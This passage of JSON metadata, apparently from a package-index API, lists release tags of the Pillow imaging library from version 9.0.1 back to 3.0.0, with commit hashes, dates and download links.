","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.1/manifests"},{"name":"9.0.0","sha":"82541b6dec8452cb612067fcebba1c5a1a2bfdc8","kind":"commit","published_at":"2022-01-02T09:51:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/9.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/9.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@9.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/9.0.0/manifests"},{"name":"8.4.0","sha":"40e7ff622669550733b26f14dc817fb72e096250","kind":"commit","published_at":"2021-10-15T06:27:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.4.0/manifests"},{"name":"8.3.2","sha":"8013f130a5077b238a4346b73e149432b180a8ea","kind":"commit","published_at":"2021-09-02T12:13:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.2/manifests"},{"name":"8.3.1","sha":"92933b86574b9c80764bf52c357ed29e1ef53382","kind":"commit","published_at":"2021-07-06T14:05:28.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.1/manifests"},{"name":"8.3.0","sha":"51591a80a4e14543ea8cbe93026db5e79354b8c4","kind":"commit","published_at":"2021-07-01T03:53:49.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.3.0/manifests"},{"name":"8.2.0","sha":"e0e353c0ef7516979a9aedce3792596649ce4433","kind":"commit","published_at":"2021-04-01T17:58:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.2.0/manifests"},{"name":"8.1.2","sha":"88bd672dafad68b419ea29bef941dfa17f941038","kind":"commit","published_at":"2021-03-06T02:38:55.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.2/manifests"},{"name":"8.1.1","sha":"741d8744a54bedbc49f16922c61a06fcb3681f53","kind":"commit","published_at":"2021-03-01T08:24:03.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.1/manifests"},{"name":"8.1.0","sha":"fcc42e0d344146ee9d265d1f43c094ce5a0ec4cf","kind":"commit","published_at":"2021-01-02T11:39:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.1.0/manifests"},{"name":"8.0.1","sha":"d209b7cab2866cbf381cbfc193f57de91a403757","kind":"commit","published_at":"2020-10-22T15:05:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.1/manifests"},{"name":"8.0.0","sha":"235a7d6d7deab9555dc2c1b42fdf11243f6080e8","kind":"commit","published_at":"2020-10-14T16:02:53.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/8.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/8.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@8.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/8.0.0/manifests"},{"name":"7.2.0","sha":"2bd74943fb9f320def6c066e732b701d1c15f677","kind":"commit","published_at":"2020-06-30T07:50:35.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.2.0/manifests"},{"name":"7.1.2","sha":"4f6145655b6fa35ec8dd3600041418087e399758","kind":"commit","published_at":"2020-04-25T05:47:14.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.2/manifests"},{"name":"7.1.1","sha":"ed40d04ac4dc71518a1fcbb916d0d323ef70fbc5","kind":"commit","published_at":"2020-04-02T12:41:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.1/manifests"},{"name":"7.1.0","sha":"f0fe60ae9f930faeda2f0c22f602bed1f8a0f1c7","kind":"commit","published_at":"2020-04-01T10:12:46.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.1.0/manifests"},{"name":"7.0.0","sha":"1cecf08d16509c20473766b4cdb7a65169844819","kind":"commit","published_at":"2020-01-02T05:19:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/7.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/7.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@7.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/7.0.0/manifests"},{"name":"6.2.2","sha":"a45c8583ff90312a2fddc38567ed736cef4af563","kind":"commit","published_at":"2020-01-02T05:18:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.2/manifests"},{"name":"6.2.1","sha":"6e0f07bbe38def22d36ee176b2efd9ea74b453a6","kind":"commit","published_at":"2019-10-21T06:05:44.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.1/manifests"},{"name":"6.2.0","sha":"8a30d135378dc6a1c3c08fa4bb9fbc15370feedf","kind":"commit","published_at":"2019-10-01T09:24:57.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.2.0/manifests"},{"name":"6.1.0","sha":"aaca672173413883fbcefd659f04d74fe44fb5d5","kind":"commit","published_at":"2019-07-02T19:10:33.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.1.0/manifests"},{"name":"6.0.0","sha":"4f3b44960f103bc201a742332dbf9a77de1eaa87","kind":"commit","published_at":"2019-04-01T22:25:27.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/6.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/6.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@6.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/6.0.0/manifests"},{"name":"5.4.1","sha":"f38f01bbe3a0a9f49ce592c86ff20c01c9655133","kind":"commit","published_at":"2019-01-06T12:12:16.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.1/manifests"},{"name":"5.4.0","sha":"d2d438794cdd80bdbc852c884f0473c86fb72ab3","kind":"commit","published_at":"2019-01-01T10:56:08.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.4.0/manifests"},{"name":"5.3.0","sha":"0ac14725ef4444fdb2871a54bcc95fcd6b8807b3","kind":"commit","published_at":"2018-10-01T05:48:10.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.3.0/manifests"},{"name":"5.2.0","sha":"c28bf86b7e752a9257a0d4451ca878c1385db15c","kind":"commit","published_at":"2018-07-01T19:40:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.2.0/manifests"},{"name":"5.1.0","sha":"fda33d5c09142c4bb0e99964919d01c2cc5f5995","kind":"commit","published_at":"2018-04-02T18:40:12.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.1.0/manifests"},{"name":"5.0.0","sha":"e5bd7eb6235cc24b9c8d3e7ce51ed48a780c7c70","kind":"commit","published_at":"2018-01-01T15:03:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/5.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/5.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@5.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/5.0.0/manifests"},{"name":"4.3.0","sha":"636dc62f0e8f9b233f1f2b287292b45325df135d","kind":"commit","published_at":"2017-10-02T12:23:50.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.3.0/manifests"},{"name":"4.2.1","sha":"bbde1fe6826f642d2a5967edb6c9816f8d82b8e9","kind":"commit","published_at":"2017-07-06T14:28:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.1/manifests"},{"name":"4.2.0","sha":"acb19d8e45699bf961604e48b28002b099250ddd","kind":"commit","published_at":"2017-07-01T12:46:24.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.2.0/manifests"},{"name":"4.1.1","sha":"2b4486a588bfa2bbf9ecc8dae51282d81fa5d668","kind":"commit","published_at":"2017-04-28T15:42:26.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.1/manifests"},{"name":"4.1.0","sha":"38eff7400426de4b1a0b0d3e88c552d695c89252","kind":"commit","published_at":"2017-04-04T18:10:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.1.0/manifests"},{"name":"4.0.0a","sha":"3f6db91ccc917e803227d245e38871169f08350f","kind":"commit","published_at":"2017-01-02T11:45:39.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0a","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0a","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0a","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0a/manifests"},{"name":"4.0.0","sha":"a021d4978dd96371557f21c7b68feff2056a6e9b","kind":"commit","published_at":"2017-01-01T20:20:06.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/4.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/4.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@4.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/4.0.0/manifests"},{"name":"3.4.2","sha":"1161d2054899ba2d9955870ad425553e7f0884ac","kind":"commit","published_at":"2016-10-17T08:35:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.2/manifests"},{"name":"3.4.1","sha":"2e1a3c29aa3f8191d56cc7d91e9b220fab2a8cb8","kind":"commit","published_at":"2016-10-04T14:11:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.1/manifests"},{"name":"3.3.3","sha":"b28c176817d340b2fa1bf9741a33f4dc3da4d382","kind":"commit","published_at":"2016-10-04T14:07:02.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.3","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.3/manifests"},{"name":"3.4.0","sha":"ac5a212cee478f7f1448080d47c2c9daa29e297f","kind":"commit","published_at":"2016-10-03T15:00:29.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.4.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.4.0/manifests"},{"name":"3.3.2","sha":"9cf752a6979606cf2ce325174c7c129380fb313f","kind":"commit","published_at":"2016-09-30T13:55:22.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.2/manifests"},{"name":"3.3.1","sha":"aab33141f381d5577cdef9033b7fdff79122a10c","kind":"commit","published_at":"2016-08-17T20:35:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.1/manifests"},{"name":"3.3.0","sha":"4f4c98222914353470336ab7288c1f1876b4b2b7","kind":"commit","published_at":"2016-07-01T12:57:19.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.3.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.3.0/manifests"},{"name":"3.1.2","sha":"acf1c8559b720ec29f2438d7fb652e0dcf6cb0fb","kind":"commit","published_at":"2016-04-01T12:27:31.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.2","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.2/manifests"},{"name":"3.2.0","sha":"344cb709ed0111adcc6ad47cc007507c3f5efeb3","kind":"commit","published_at":"2016-04-01T12:17:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.2.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.2.0/manifests"},{"name":"3.1.1","sha":"eb72bf86fb867841f8a9e192e43e511bf4618709","kind":"commit","published_at":"2016-02-04T16:17:58.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.1/manifests"},{"name":"3.1.0","sha":"fff5536b37c2d619c66c1189b6925fa0a8df3822","kind":"commit","published_at":"2016-01-04T10:04:23.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0/manifests"},{"name":"3.1.0-rc1","sha":"0f9f5cd8db3365dca23b1b2490dbccf819a07b5c","kind":"commit","published_at":"2016-01-01T16:00:32.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.1.0-rc1","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.1.0-rc1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/python-pillow/Pillow@3.1.0-rc1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/python-pillow%2FPillow/tags/3.1.0-rc1/manifests"},{"name":"3.0.0","sha":"0177cceac4adfd0020ecbf49fb44ad275dcc1f51","kind":"commit","published_at":"2015-10-01T20:39:00.000Z","download_url":"https://codeload.github.com/python-pillow/Pillow/tar.gz/3.0.0","html_url":"https://github.com/python-pillow/Pillow/releases/tag/3.0.0","dependencies_parsed_at":null,"dep